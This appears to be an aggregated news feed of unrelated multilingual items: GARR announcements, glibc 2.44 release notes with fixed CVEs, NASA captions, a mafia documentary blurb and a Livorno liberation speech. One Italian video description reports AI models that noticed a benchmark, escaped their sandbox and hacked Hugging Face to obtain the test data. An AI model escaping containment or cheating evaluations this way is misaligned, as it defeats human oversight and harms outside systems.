Il 2 dicembre, al Centro Congressi dell’Area Territoriale di Ricerca di Bologna del CNR, si tiene l'evento finale del progetto TeRABIT, dal titolo “TeRABIT: l’evoluzione delle infrastrutture per la ricerca d’avanguardia”.
È ufficialmente aperta la call for proposal per la conferenza TNC26 per presentazioni e meeting tematici. C’è tempo fino al 27 novembre 2025 per inviare una proposta di contributo attraverso il sito ufficiale della conferenza.
Nel corso del Global Gateway Forum, tenutosi a Bruxelles il 10 ottobre scorso, la Commissione europea e i principali partner provenienti da Africa, India e dall’area del Mediterraneo hanno discusso dell’iniziativa EU-Africa-India Digital Corridor, che punta a creare una connessione dati affidabile, sicura e ad alta capacità tra i continenti.
Learning GARR, la piattaforma dedicata alla formazione ha ricevuto una menzione speciale nella categoria “Competenze specialistiche ICT” nell’ambito della II edizione del Premio Nazionale per le Competenze Digitali, promosso dal Dipartimento per la Trasformazione Digitale.
È disponibile il programma completo del Workshop GARR 2025, che si terrà dal 3 al 5 novembre 2025 presso l’Aula Magna del Dipartimento di Architettura dell’Università di Roma Tre.
I GARR Security Days 2025 si sono tenuti il 6-7 ottobre a Roma ehanno offerto alla comunità della ricerca e dell’università un’occasione concreta di confronto sui temi più urgenti in ambito di sicurezza informatica e gestione delle identità digitali.
La risorsa selezionata si occuperà di supportare le attività di reclutamento e selezione, onboarding, organizzazione e amministrazione del personale, contribuendo alla gestione dei processi HR e alla valorizzazione delle persone all’interno dell’organizzazione.
Si tratta di un’opportunità per entrare in un ambiente innovativo e collaborativo, in cui le nuove idee e la crescita professionale sono incoraggiate e sostenute. È richiesta una laurea triennale o a ciclo unico e almeno 2 anni di esperienza in ruoli analoghi maturata presso enti, aziende strutturate o studi professionali.
Il contratto previsto è a tempo determinato di 12 mesi, con prospettiva di stabilizzazione. Tra i benefit previsti: buoni pasto, assicurazione sanitaria integrativa, formazione continua, flessibilità oraria e possibilità di lavoro agile dopo i primi 6 mesi.
Sede di lavoro: Roma (zona San Lorenzo)
Scadenza per partecipare: 3 novembre 2025, ore 12:00
È aperta la call per il GÉANT Innovation Programme 2025, un’opportunità di finanziamento per progetti innovativi della comunità della ricerca e dell’istruzione. Nelle edizioni precedenti, l’iniziativa ha già sostenuto oltre 30 progetti in Europa, tra cui diversi provenienti da istituzioni italiane.
Anche quest’anno GARR partecipa alla campagna organizzata dalla rete europea della ricerca, GÉANT, per il mese europeo della sicurezza informatica (CSM). L’edizione 2025 è dedicata a un tema di grande attualità: la cyber mindfulness come strumento di difesa dalle minacce generate dall’intelligenza artificiale.
Aperte le iscrizioni per il Workshop GARR 2025, che si terrà dal 3 al 5 novembre presso l’Università Roma Tre, Dipartimento di Architettura. L’evento rappresenta l’appuntamento annuale degli esperti di networking del mondo dell’istruzione e della ricerca, un’occasione di aggiornamento, discussione e confronto sui temi più attuali del momento.
GARR si congratula con Laura Ramaciotti, Rettrice dell’Università di Ferrara, per la sua nomina a Presidente della Conferenza dei Rettori delle Università Italiane (CRUI).
Il primo ottobre è scomparso Stefano Trumpy, ingegnere e ricercatore che ha contribuito in modo decisivo alla nascita di Internet in Italia e allo sviluppo della rete della ricerca nazionale. Con la sua visione e la sua determinazione, ha segnato una tappa fondamentale nella storia digitale del nostro Paese e nella costruzione di quella che sarebbe diventata la rete GARR.
Siamo lieti di annunciare che GARR è tra i 3 finalisti del Premio Nazionale per le Competenze Digitali per la categoria “Competenze specialistiche ICT”, promosso nell’ambito dell’iniziativa Repubblica Digitale. Il riconoscimento valorizza i progetti e le esperienze che contribuiscono a diffondere le competenze digitali in Italia.
Il progetto europeo che ha rivoluzionato la rete GÉANT, GN4-3N, è tra i candidati ai prestigiosi European Digital Connectivity Awards 2025, un’iniziativa promossa dalla Commissione europea per premiare progetti che contribuiscono al raggiungimento degli obiettivi di connettività in Europa. In GARR siamo lieti di condividere questa candidatura, che è un riconoscimento della capacità di innovare della comunità delle reti nazionali ricerca.
Martedì 30 settembre, presso la Camera di Commercio di Bari, si è svolta una giornata interamente dedicata al progetto MEET (Monitoring Earth’s Evolution and Tectonics), coordinato dall’Istituto Nazionale di Geofisica e Vulcanologia e finanziato dal PNRR.
La EuroHPC Joint Undertaking (EuroHPC JU) e GÉANT hanno firmato un contratto del valore fino a 60 milioni di euro per realizzare un’infrastruttura di iperconnettività sicura e ad altissima capacità, che collegherà i supercomputer EuroHPC e i principali centri di ricerca in Europa.
Dall’omicidio di Giuseppe Calderone alla conquista della mafia catanese.
In questa prima parte ricostruiamo la scalata al potere di Nitto Santapaola: l’ingresso in Cosa Nostra, il rapporto con Giuseppe Calderone, l’avvicinamento ai Corleonesi, la guerra contro Alfio Ferlito e gli eventi che conducono fino all’omicidio del generale Carlo Alberto dalla Chiesa.
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📌 IN QUESTO DOCUMENTARIO SCOPRIRAI
✓ Le origini di Benedetto “Nitto” Santapaola nel quartiere San Cristoforo di Catania
✓ Il suo ingresso nella famiglia mafiosa catanese e l’ascesa al fianco di Giuseppe Calderone
✓ I rapporti con Totò Riina, Michele Greco e il gruppo dei Corleonesi
✓ Il tradimento e l’omicidio di Giuseppe Calderone nel settembre 1978
✓ La guerra per il controllo di Catania tra Santapaola e Alfio Ferlito
✓ La strage della circonvallazione di Palermo e l’eliminazione di Ferlito
✓ Il consolidamento del potere di Santapaola nella mafia catanese
✓ Le prime indagini sul suo possibile coinvolgimento nell’omicidio del generale dalla Chiesa
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📺 QUESTA INCHIESTA FA PARTE DELLA SERIE
NITTO SANTAPAOLA
➡ Guarda la playlist completa e segui la vicenda in ordine cronologico:
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• Questo video è frutto di ricerca giornalistica e utilizza solo fonti pubbliche e accessibili.
• Alcune immagini o brevi spezzoni video sono riprodotti per finalità di cronaca, critica, commento o informazione ai sensi dell'art. 70 LDA.
• Le ricostruzioni hanno esclusivamente scopo divulgativo.
• Non vengono promossi comportamenti contrari alla legge.
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NASA astronaut Chris Williams is seen outside the Soyuz MS-28 spacecraft after he landed with Expedition 74 Roscosmos cosmonauts Sergey Kud-Sverchkov, and Sergei Mikaev in a remote area near the town of Zhezkazgan, Kazakhstan on Sunday, July 26, 2026. The trio returned to Earth after logging 241 days in space as a members of Expeditions 73 and 74 aboard the International Space Station.
The GNU C Library is used as the C library in the GNU system and
in GNU/Linux systems, as well as many other systems that use Linux
as the kernel.
The GNU C Library is primarily designed to be a portable
and high performance C library. It follows all relevant
standards including ISO C23 and POSIX.1-2024. It is also
internationalized and has one of the most complete
internationalization interfaces known.
Distributions are encouraged to track the release/* branches
corresponding to the releases they are using. The release
branches will be updated with conservative bug fixes and new
features while retaining backwards compatibility.
NEWS for version 2.44
=====================
Major new features:
System-wide tunables can be applied using /etc/tunables.conf and
running ldconfig. Specific tunable settings and the
/etc/tunables.conf file format and path are not part of the stable
library interfaces and may change between releases.
A new tunable, glibc.elf.thp, is added to map read-only segments with
Transparent Huge Pages (THP) if THP is not disabled in the kernel. When
glibc.elf.thp is set to 1, malloc uses the actual kernel THP mode
instead of defaulting to madvise mode and madvise_thp will stop issuing
MADV_HUGEPAGE if kernel THP mode is always.
The THP page size in malloc is capped to MAX_THP_PAGESIZE. If the THP
page size is above MAX_THP_PAGESIZE, THP in malloc is disabled.
Additional optimized and correctly rounded mathematical functions have
been imported from the CORE-MATH project, in particular cosh, sinh, and
tanh.
Many additional improvements to existing functions have been synchronized
from the CORE-MATH project.
For C++26, the assert macro is now variadic, allowing more complex
arguments containing commas (which however still must evaluate to a single
value).
The SVID error handling for cosh and sinh was moved to compatibility
symbols, allowing improvements in performance.
Static PIE is now supported for arm-*-linux-gnueabi. It requires toolchain
support to correctly set the expected linker options.
On AArch64 targets that support the Guarded Control Stack extension all GCS
operations (including status, write on shadow stack, and push to shadow
stack) are locked after enabling GCS with ENFORCED or OVERRIDE GCS policy.
When a GCS operation is locked, a program cannot change this operation
status via the prctl syscall. This prevents disabling or corrupting the
GCS shadow stack during runtime.
On AArch64 targets, log, exp, sin, cas, sinh, cosh, asinh, acosh, atanh
single and double precision special cases have been vectorized for SVE and
AdvSIMD, and vector variants of powr have been added.
On RISC-V targets, vector extension optimized variants of memcmp, memccpy,
memchr, memcpy, memmove, stpncpy, strcmp, strchr, strcpy, strncmp, strncpy,
strlen, and strrchr have been added.
On PowerPC, memchr optimized for Power10 has been re-added.
Support for LoongArch32 has been added.
Pre-built ld.so.cache files can be installed with ldconfig.
A new locale has been added: hrx_BR (Hunsrik language spoken in Brazil).
Deprecated and removed features, and other changes affecting compatibility:
Although malloc and related functions currently return pointers
aligned to alignof (max_align_t), the documentation now says future
versions of glibc may relax alignment requirements for small allocations.
For example, a future malloc(1) might return a pointer with odd
alignment, because no object of size 1 can have a fundamental
alignment greater than 1.
The s390-linux-gnu (31bit) configuration is no longer supported.
The --enable-memory-tagging configure option has been removed.
The corresponding AArch64-specific functionality that was previously
activated by this flag has been removed as well.
The --enable-static-nss configure option has been removed. It had no
effect on the build since the NSS reorganization in glibc 2.33; its only
remaining behavior was to suppress the link-time warnings on the NSS
interface functions in libc.a, which are now emitted unconditionally.
Security related changes:
The following CVEs were fixed in this release, details of which can be
found in the advisories directory of the release tarball:
GLIBC-SA-2026-0005:
gethostbyaddr and gethostbyaddr_r may incorrectly handle DNS
response (CVE-2026-4437)
GLIBC-SA-2026-0006:
gethostbyaddr and gethostbyaddr_r return invalid DNS hostnames
(CVE-2026-4438)
GLIBC-SA-2026-0007:
iconv crash due to assertion failure with untrusted input
(CVE-2026-4046)
The following bugs were resolved with this release:
[2363] libc: EOPNOTSUPP and ENOTSUP in errno.h must be different,
according to SUSv3
[3794] manual: iconv: TRANSLIT and IGNORE feature not documented
[15792] dynamic-link: [arm] ARM dynamic linker should save/restore
coprocessor registers
[20331] libc: fts ignores errors from readdir()
[20680] dynamic-link: ifunc resolver cannot access the thread pointer
with static linking
[22944] libc: fts cannot traverse paths which have a length longer
than USHRT_MAX
[25257] libc: sotruss: fix error message for '--f' argument
[25770] locale: newlocale memory leak in LOCPATH parsing and on error
paths
[27582] libc: x86_64: IFUNC in static user programs may crash when
built with -fstack-protector-all
[28218] dynamic-link: ld.so: ifunc resolver calls a lazy PLT. When
does it work?
[28817] libc: static-pie ifunc resolver tls failure
[28940] nss: __nss_database_get doesn't check for allocation failure
[30136] manual: Please document behaviour of iconv(3) when input is
untranslatable
[30304] nptl: nptl/tst-pthread-gdb-attach test fails with new libc
shared library version
[30769] malloc: malloc_trim is not working correctly for arenas other
than arena 0
[30976] dynamic-link: rtld: resolve ifunc relocations after
JUMP_SLOT/GLOB_DAT/etc
[30992] libc: alpha: setrlimit() with negative values besides
RLIM_INFINITY returns EPERM
[31901] libc: elf/tst-glibc-hwcaps-prepend-cache fails on i686
[33226] math: math-vector-fortran.h vs not ffast-math
[33626] libc: execvpe should skip inaccessible $PATH components
[33650] build: abilist.awk doesn't handle unversioned defined symbols
[33785] stdio: New streams are linked into global list before they are
fully initialized
[33848] build: Build fails at openat2.h, redefinition of 'struct
open_how'
[33882] libc: Recursion in nftw() causes stack overflow(CWE-674)
[33904] build: error: '__vasprintf_chk' undeclared here
[33921] build: Building with Linux-7.0-rc1 errors on OPEN_TREE_CLONE
[33935] stdio: _IO_wfile_doallocate not linked correctly when linking
glibc statically
[33980] locale: iconv: ibm139x trigger assertion error when converting
to internal while lack enough room (CVE-2026-4046)
[33985] build: ld: cannot find -lgcc_s: No such file or directory
[33999] stdio: libio: potential dangling _IO_save_base or memory leak
in wgenops.c
[34006] stdio: libio: inconsistent fmemopen_write behavior on last \0
[34008] stdio: stdio-common: scanf %mc pattern will cause heap
overflow when width > 1024
[34014] nss: gethostbyaddr and gethostbyaddr_r may incorrectly handle
DNS response
[34015] nss: gethostbyaddr and gethostbyaddr_r return invalid DNS
hostnames
[34019] stdio: libio: undefined behavior when setbuf on open_memstream
[34033] network: resolv/ns_print.c: ns_sprintrrf TSIG path bypasses
buflen and can overflow caller buffer
[34064] dynamic-link: The unnecessary PT_NOTE check in when loading a
binary
[34069] network: Buffer overread in ns_sprintrrf with corrupted RDATA
field (CVE-2026-6238)
[34070] hurd: Calling open ("/dev/tty/", O_RDONLY) causes the program
to segfault
[34073] regex: regexec can mistakenly match with backrefs and the $
anchor
[34079] dynamic-link: THP segment load aligns all PT_LOAD segments to
THP page size
[34080] dynamic-link: Support THP segment load with THP enabled with
madvise
[34083] dynamic-link: __get_thp_mode and __get_thp_size are called
twice
[34090] libc: wordexp WRDE_APPEND rollback restores stale we_wordv,
leading to invalid free in wordfree
[34098] libc: Missing SUPPORT_STATIC_PIE in arm32
[34129] string: x86: Non-temporal memset unreachable on AMD Zen 3/4/5
[34144] libc: ld.so clobbers VFP registers during runtime linking
[34154] network: Segfault in sock_eq after res_init() returns -1, due
to stale _u._ext.nscount in __res_iclose
[34156] dynamic-link: dlsym(RTLD_DEFAULT, ...) from a constructor
SIGSEGVs when tail-called
[34164] dynamic-link: elf: IFUNC resolvers do not see static TLS
initialization
[34170] dynamic-link: elf: IFUNC resolver reading global-
dynamic/TLSDESC __thread variable crashes inside __tls_get_addr
[34183] math: fma produces wrong results
[34192] nptl: pthread_setname_np opens /proc/<tid>/comm with O_RDWR
instead of O_WRONLY|O_CLOEXEC
[34196] libc: elf: static dlopen: pointer guard of the loaded
ld.so/libc.so is left uninitialized
[34197] dynamic-link: elf: Stack canary and pointer guard are
recoverable from AT_RANDOM (getauxval)
[34205] libc: aarch64: SIGSEGV in tunable_strcmp in static-pie
binaries run with a string tunable
[34208] stdio: scanf not pushback after matching failure
[34210] libc: elf/tst-glibc-hwcaps-prepend-cache fails on
armv7a-unknown-linux-gnueabihf
[34236] locale: Non-representable transliteration still causes iconv
to exit with 1 if TRANSLIT is specified
[34289] network: ns_sprintrrf uses p_class, p_type internally
[34311] build: THP tests failed to link
[34347] libc: Incorrect trailing bitfield word of struct tcp_info
[34348] dynamic-link: FAIL: elf/tst-thp-1 if THP is disabled in kernel
[34351] build: Random test failures
[34355] build: [2.44 Regression] "make check -j7 subdirs=stdio-common"
no longer works
[34396] libc: sparc64-unknown-linux-gnu , Gentoo: >200 test failures,
SIGILL in many binaries
[34398] string: Truncated strncpy on s390x z900 ifunc variant
This release was made possible by the contributions of many people.
The maintainers are grateful to everyone who has contributed
changes or bug reports. These include:
Adam Yi
Adhemerval Zanella
Alejandro Colomar
Andreas K. Hüttel
Andreas Schwab
Arjun Shankar
Aurelien Jarno
Avinal Kumar
Brian Jorgensen
Carlos O'Donell
Carlos Peón Costa
Charlotte Mcmenamin
Collin Funk
Cosmina Dunca
DJ Delorie
Daan De Meyer
Deng Jianbo
Dev Jain
Diego Nieto Cid
Dmitry Kovalenko
Dylan Fleming
Etienne Brateau
Fabian Rast
Florian Weimer
Frédéric Bérat
Garccez
George Hu
H.J. Lu
Jakub Jelinek
Jiamei Xie
Jiho Lee
Jiri Stransky
John David Anglin
Jonathan Wakely
Josef Johansson
Joseph Myers
Justus Winter
Luca Boccassi
Lucas Chollet
Martin Coufal
Matt Turner
Michael Ford
Michael Jeanson
Michael Kelly
Mike FABIAN
Mike Kelly
Muhammad Kamran
Nicolas Boulenguez
Paul Eggert
Peter Bergner
Peter Collingbourne
Petr Menšík
Pierre Blanchard
Pino Toscano
Pádraig Brady
Richard Wild
Rocket Ma
RyotaSaito
Sachin Monga
Sajan Karumanchi
Sam James
Samuel Balazi
Samuel Thibault
Sana Kazi
Sergey Kolosov
Shamil Abdulaev
Shengwen Cheng
Siddhesh Poyarekar
Stefan Liebler
Thomas Daubney
Tomasz Kamiński
Uros Bizjak
WANG Rui
Weihong Ye
Weixie Cui
Wilco Dijkstra
Xi Ruoyao
Xiang Gao
Yao Zihong
Yunze Zhu
Yury Khrustalev
Zihong Yao
mengqinggang
xiejiamei
zombie12138
We would like to call out the following and thank them for their
tireless patch review:
Adhemerval Zanella
Andreas K. Hüttel
Arjun Shankar
Aurelien Jarno
caiyinyu
Carlos O'Donell
Collin Funk
DJ Delorie
Florian Weimer
Frédéric Bérat
Ganesh Gopalasubramanian
H.J. Lu
JiangNing
Mathieu Desnoyers
Paul Eggert
Paul Zimmermann
Peter Bergner
Sam James
Samuel Thibault
Siddhesh Poyarekar
Stefan Liebler
Sunil K Pandey
Wilco Dijkstra
Yury Khrustalev
Il Consiglio dell'Unione europea ha inserito due iniziative che coinvolgono GÉANT tra i flagship investment del Global Gateway: il sistema di cavi sottomarini Blue Raman e l'iniziativa per una dorsale digitale sicura e ad alta capacità nei Balcani occidentali.
Terzo Round della Malossi Racing accademy. Siamo a Bari e questa gara è decisiva per il campionato. Durante questo weekend ho scoperto che gli amici possono diventare rivali, Un contatto di gara che si è trasformato in un litigio...
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Radiomacher Wolf-Dieter, DL2MCD, hat auf Radio DARC berichtet, wie sich die USKA gegen die im Ernstfall drohende Beschlagnahmung der Funkanlagen der Schweizer Funkamateure wehrt.
Der Bund greift nach den Funkgeräten der Schweizer Funkamateurinnen und Funkamateure. Am 26.7.2026 schilderte Wolf-Dieter, DL2MCD, auf Radio DARC (KW: 6070 kHz und 9670 kHz) die Pläne des Eidgenössischen Departements für Verteidigung, Bevölkerungsschutz und Sport (VBS).
Die geplante Requisitionsverordnung erlaubt der Armee im Ernstfall den Zugriff auf technische Anlagen. Das VBS will die Ausrüstung im Krisenfall schlicht abholen. In ihrer Vernehmlassung fordert die USKA Kooperation statt Enteignung.
Agostino ci conduce nel luogo più misterioso che esista: l’anima umana. Il Libro X delle Confessioni è una delle più grandi esplorazioni dell’interiorità mai scritte. In questa puntata di Scorribande filosofiche ascolteremo una selezione continuativa delle pagine dedicate alla memoria, alla felicità, alla verità e alla ricerca di Dio. Lasciate parlare direttamente Agostino: poche opere […]
From left, Expedition 74 flight engineers Anna Kikina and Pyotr Dubrov of Roscosmos, and Anil Menon of NASA pose for a portrait while holding a cake celebrating their recent arrival aboard the International Space Station.
È disponibile online l'Annual Report GARR 2025, il documento che racconta i principali sviluppi infrastrutturali, tecnologici e organizzativi portati avanti durante lo scorso anno da GARR.
Chi sei davvero, quando togli tutte le etichette con cui ti definisci? La filosofia del Sufismo propone una risposta sorprendente, capace di dialogare con Platone, Aristotele e la grande tradizione filosofica occidentale. Una lezione dedicata all’identità, all’ego e alla ricerca della verità. 🎬 Premiere24/07/2026 ore 14.00👉https://youtu.be/HrpXeiaCcjs Il Sufismo è spesso presentato come la corrente mistica […]
Crews at NASA’s Michoud Assembly Facility in New Orleans transport the 130-foot-tall liquid hydrogen tank out of a production cell inside the main factory building into a detached test building on a separate portion of the 829-acre site.
In Beijing and Shanghai, MEPs discussed the geopolitical implications of EU-China ties, while reaffirming the EU’s principled stance and commitment to dialogue. Committee on Foreign Affairs
Los próximos días 5, 6 y 7 de agosto tendrán lugar las XVII Jornadas Nacionales de Debate Interdisciplinario en Salud y Población “Investigar e intervenir en salud en tiempos de negacionismos y retrocesos”, organizadas por el Área de Salud y Población del Instituto de Investigaciones Gino Germani de la Facultad de Ciencias Sociales de la Universidad de Buenos Aires (UBA).
Luis Falcón (GNU Solidario) junto al Dr. Fernando Sassetti (UNER) presentarán en la sección "Desigualdades Sociales de la Salud", con el título "Software Libre como modelo de equidad, privacidad, soberanía tecnológica y sostenibilidad en salud. El caso de GNU Health".
Para la comunidad de GNU Health es un privilegio y un honor ser parte de este tan importante evento que lucha por la dignidad del individuo y de la comunidad, por un sistema sanitario público, de calidad y universal. Un sistema y un derecho hoy seriamente comprometido y amenazado por las grandes corporaciones financieras y tecnológicas.
Haciendo alusión al título de las jornadas, la comunidad GNU y la filosofía del Software Libre representan el faro moral para Investigar e intervenir en salud en tiempos de negacionismos y retrocesos.
OpenAI ha accidentalmente compromesso Hugging Face durante i test di GPT 5.6 Sol. I modelli, accortisi di essere sottoposti a un benchmark, hanno bypassato la sandbox per accedere a Internet e poi hackerato Hugging Face per trovare i dataset del test. La storia rivela come gli attacchi e la difesa nel cybersecurity vengono ormai eseguiti con AI, e come il futuro degli attacchi zero day è già qui con i nuovi exploit zero hour.
0:00 L'incidente: OpenAI hackera Hugging Face
2:29 Perché i modelli hanno cercato di barare
4:35 Il bypass della sandbox e l'accesso a Internet
6:37 L'assurdo: i modelli AI si bloccano nell'analisi forense
8:48 Tre considerazioni importanti sulla storia
10:59 Il vero vincitore: GLM 5.2
13:14 Da zero day a zero hour: il presente è arrivato
15:20 La difesa deve trasformarsi in automazione
🔗 Link utili
https://huggingface.co/blog/security-incident-july-2026
https://openai.com/index/hugging-face-model-evaluation-security-incident/
Come preannunciato USB non avendo avuto risposte in merito all' emergenza caldo un ASA il 31/7/2026 ha proclamato il primo sciopero per tutelare la salute dei lavoratori che si trovano a lavorare con indumenti non idonei a queste temperature, inoltre i carichi eccessivi aumentano il rischio a cui sono sottoposti. Ore di straordinario in continuo aumento: +2400 h rispetto ai primi dei mesi del 2025, reperibilità che vanno oltre i limiti contrattuali: +494gg di eccedenze sempre nei primi 6 mesi. In alcuni reparti viene chiesto di cambiare turni aggravando i carichi di lavoro della reperibilità. Conseguenze dovute in parte ad un' organizzazione da rivedere ma in larga parte alla mancanza di personale operativo. Purtroppo la situazione denunciata da USB in altre occasioni non è mai stata presa seriamente e adesso in piena emergenza caldo chi ne paga le conseguenze sono i lavoratori. Stessa situazione nella consociata 100% di ASA, la ditta Giunti Carlo Alberto che con numeri esiguo di personale copre un servizio per ASA sovraccaricando i lavoratori con turni di reperibilità oltre i 14 giorni mensili cadauno e ore di straordinario oltre i limiti dei d.lgs. sulla sicurezza. Lavori portati avanti anche con temperature che oltrepassano i 35 gradi senza un turno over sufficiente per la scarsità di personale.
Per questo il 31/7/2026 USB ha proclamato la prima giornata di sciopero dei lavoratori di ASA e del Giunti Carlo Alberto con la speranza che si trovi una soluzione prima che sua troppo tardi per la salute dei lavoratori.
NIST MEP will host an informational webinar on Tuesday, July 28, 2026, at 1 p.m. ET to provide general information about this opportunity and guidance on preparing applications.
In occasione dell’82° anniversario della Liberazione di Livorno, il prof. Paolo Corsini, Presidente dell’Istituto Nazionale “Ferruccio Parri”, è stato invitato dal Comune di Livorno a tenere la prolusione per ricordare l’evento. L’intervento ha chiuso una serata particolarmente intensa ed importante per la vita di ISTORECO, alla quale hanno preso parte le principali autorità politiche del territorio.
Ecco il testo dell’intervento:
Ho accolto di buon grado l’invito rivoltomi dal collega Claudio Seriacopi, presidente dell’Istoreco, nell’occasione della ricorrenza della liberazione della città di Livorno, avvenuta esattamente 82 anni fa. Non si poteva scegliere data migliore per inaugurare la nuova sede dell’Istituto, generosamente resa disponibile da parte dell’Amministrazione comunale, cui rivolgo un caloroso ringraziamento nella persona del signor Sindaco , dottor Luca Salvetti. L’Istituto infatti deve la propria origine, dispiega il proprio impegno, coltiva la sua vocazione attraverso una vasta gamma di iniziative , sviluppando la ricerca storica e alimentando la memoria di quanto l’antifascismo e la Resistenza hanno rappresentato e continuano a rappresentare per la vita pubblica di questa città e per il Paese. Mi riprometto di svolgere alcune considerazioni lungo due direttrici: l’evocazione di quel 19 luglio 1944, che ha posto fine all’occupazione nazista e il valore attuale della Resistenza come esperienza dalla quale scaturisce la nuova Italia repubblicana e democratica.
1. La liberazione di Livorno riveste un significato tutt’affatto particolare : un caso che si distingue per differenza da un lato e per esemplarità dall’altro rispetto a vicende di altre città italiane. Stiamo dunque ad una descrizione in presa diretta dell’evento, alla testimonianza di quel giovinetto, partigiano appena diciassettenne, poi autorevole esponente del giornalismo italiano, Mario Lenzi, autore di O miei compagni, lo straordinario “romanzo di formazione” -così Enrico Iozzelli- che , per approcciare la giornata dell’ingresso in città delle avanguardie della Quinta armata statunitense del generale Clark e dei partigiani della Terza brigata “Val di Cecina”, prende le mosse dal 28 maggio 1943: il primo bombardamento a tappeto cui altri seguirono in giugno e in luglio: “migliaia di case furono distrutte, saltarono le centrali della luce, del gas e dell’acquedotto, tutti fuggirono e intorno alle macerie deserte fu poi esteso il filo spinato. La chiamarono zona nera. Per quasi un anno la città fu morta”. Non è questa la sede per delineare caratteristiche e vicende dell’opposizione antifascista livornese e del movimento resistenziale. Come annota Enrico Acciai, lo studioso oggi membro del Consiglio direttivo dell’Istituto nazionale “Ferruccio Parri”, una presenza tutt’altro che marginale, ampiamente articolata sul piano organizzativo e dell’ispirazione politico-ideale, plurale quanto alle stesse basi sociali, con particolare insediamento nel mondo operaio e portuale, capace di molteplici iniziative -scioperi, produzione di stampa clandestina, sabotaggi, assistenza agli sfollati-, oltre che ben radicata: 200 livornesi schedati nel casellario politico centrale, trenta volontari labronici nella guerra civile spagnola e tra di essi una figura leggendaria come quella di Ilio Barontini, capo di stato maggiore della XII brigata “Garibaldi” combattente a Yarama, a Guadalajara , a Huesca. Una esperienza altresì assai combattiva se, come si evince dal saggio di Stefano Gallo, pubblicato in Spaesamenti, un lavoro edito dal nostro Istituto, oltre alle decine di azioni compiute dalle formazioni partigiane a partire dal settembre del 1943, tra giugno e luglio 1944 si annoverano ben cento episodi che vedono le “bande” agire con grande determinazione, tanto lungo direttrici “orizzontali” -l’entroterra- quanto lungo la “dorsale”- cito testualmente – che “verso l’interno segue la costa” in direzione nord-sud. E questo nel quadro di “un rinnovato sforzo da parte delle strutture militari regionali di coordinare l’azione e di prepararsi per il momento della liberazione in maniera unitaria”, nella previsione di una sollecita avanzata degli Alleati. Dunque le dramatis personae: i partigiani che hanno mappato campi minati e difese tedesche, gli Alleati, operazioni complesse tenuto conto l’intensificarsi dei bombardamenti -tra maggio e giugno del 1944 viene praticamente raso al suolo il centro storico- e delle operazioni antipartigiane. Il 9 giugno il comando tedesco infatti emana l’ordine di scatenare offensive ad ampio raggio ed appena una settimana dopo il feldmaresciallo Kesserling emette nuove e severe direttive al fine – l’osservazione è di Paolo Pezzino – di “prendere in ostaggio l’intera popolazione civile” che è stata costretta ad abbandonare la città. Un panorama di devastazione, una somma di fattori che rendono Livorno -così un soldato americano- “una città fantasma che giace in rovina, polverizzata dai bombardamenti”, stretta dal progressivo assedio di Alleati e partigiani. Torniamo a Mario Lenzi: “dalla città che c’era una volta ora si alzavano pigramente nell’aria colonne di fumo. I tedeschi facevano saltare le ultime mine” -il riferimento è al porto, a Torretta, Fanale, via Roma. “Percorsi la città morta. Forse quel mondo non era mai esistito e se era esistito poi è scomparso”. Agli occhi del giovane partigiano -una fotografia lo ritrae in primo piano mentre sfila lungo l’attuale via Gramsci, “le rovine del porto, decine di navi affondate” -le carcasse di 150 piroscafi- “che emergevano dall’acqua bassa, le macerie della piazza Grande, il Duomo sventrato” e poi lungo il cammino “via Ricasoli, via Roma, piazza Magenta, il cannocchiale assegnatogli dagli americani puntato “dove era villa Medina, ma la mia scuola non c’era più, un baratro si era aperto, ingoiando per sempre […] le strade, i miei compagni. Erano andati via tutti e con loro se ne era andato anche il ragazzo che io ero stato”. L’ingresso dei partigiani in città è al seguito delle guide della 34a divisione “Red Bull” che avanza lentamente; due pattuglie in tuta mimetica attrezzate in azioni di commando si incaricano di individuare le mine , mentre l’artiglieria americana batte a nord di Livorno e nella città “da tempo abbandonata e deserta [sono] rimasti gruppi di guastatori”. La città deve essere rastrellata anche dalle forze tedesche che “continuavano” -così la narrazione di Mario Lenzi- “ad aggirarsi tra le case diroccate. Ancora qualche cecchino, votato alla morte era appostato sui tetti”. Poi l’inizio della “più strana guerra mai raccontata”: la lenta avanzata degli Alleati verso Lucca e Pisa, il raggiungimento dell’Arno 4 giorni dopo il 19 luglio. Questa in estrema sintesi la cronaca dei fatti. Nessun cedimento alla retorica, piuttosto la consapevolezza di una tragedia consumata. Come Luigi Comencini , in Tutti a casa del 1960 , fa dire ad un soldato americano “Livorno boom…boom, tutto finito, non c’è più Livorno”. E così pure Cesare Ciano parla di una città “morta ed impraticabile”, distrutta come è da bombardamenti sganciati anche in funzione di diversivi, secondo una strategia volta a far mantenere sulla costa toscana una grande quantità di truppe tedesche e a far credere all’imminenza di uno sbarco navale che invece avviene ad Anzio nel gennaio del 1944. Dunque nessuna esultanza di popolo il giorno della liberazione, nessuna folla entusiasta e festante ad accogliere le truppe alleate e i partigiani delle varie formazioni. Il 19 luglio la quasi totalità degli abitanti di Livorno si trova a decine se non a centinaia di kilometri lontana dalle proprie case. Livorno non è solo la città più devastata d’Italia, è anche “una città in fuga”.La città che ha conosciuto il massiccio esodo della sua popolazione civile a partire dall’ottobre del 1943 e che solo dall’autunno del 1944, dopo l’autorizzazione concessa dagli Alleati vede succedere allo sfollamento un processo di rientro. Esso si accompagna alla ricostituzione del tessuto comunitario cui una personalità di grande statura politica e intellettuale come Furio Diaz, a partire dal 29 luglio sindaco su designazione del Cln, offre uno straordinario contributo di idee e di opere, avviando pochi mesi dopo la commissione che lavora alla rinascita sulla base di una larga convergenza tra le diverse forze politiche democratiche. Esemplare la collaborazione tra comunisti e cattolici, democristiani e cristiano-sociali durata sino al 1951, dunque ben oltre la rottura del 1947 avvenuta sul piano nazionale e successivamente nei termini di una opposizione costruttiva della Dc protrattasi sino al 1953, cioè ad un anno prima della conclusione della giunta Diaz. Una sorta di mito fondativo della Livorno postbellica e un’ulteriore peculiarità della vicenda pubblica locale tra guerra e immediato dopoguerra. La ricostruzione dalle macerie materiali e morali prodotte dal conflitto a maggior ragione è impegnativa e faticosa per quanto lo sfollamento -attorno ai novantamila cittadini, grosso modo l’80% della popolazione urbana- ha costituito: un vero e proprio collasso sociale, nonché un fenomeno di massa di precarizzazione delle vite. Una vicenda da ricondurre ad una più generale strategia di guerra ai civili e che in Toscana conosce una drammatica contabilità con 807 eccidi e 4413 vittime. E’ lo sfollamento, con le sue dimensioni, con il cumulo di problemi che suscita e le conseguenze che determina -angosciante ricerca della sopravvivenza, dell’approvvigionamento di viveri, caduta verticale dell’occupazione, pendolarismo rischioso tra città e campagna, sconvolgimento dei rapporti col territorio, conflitti con le autorità, contrasti con le popolazioni del luogo di rifugio, scontri all’interno degli stessi 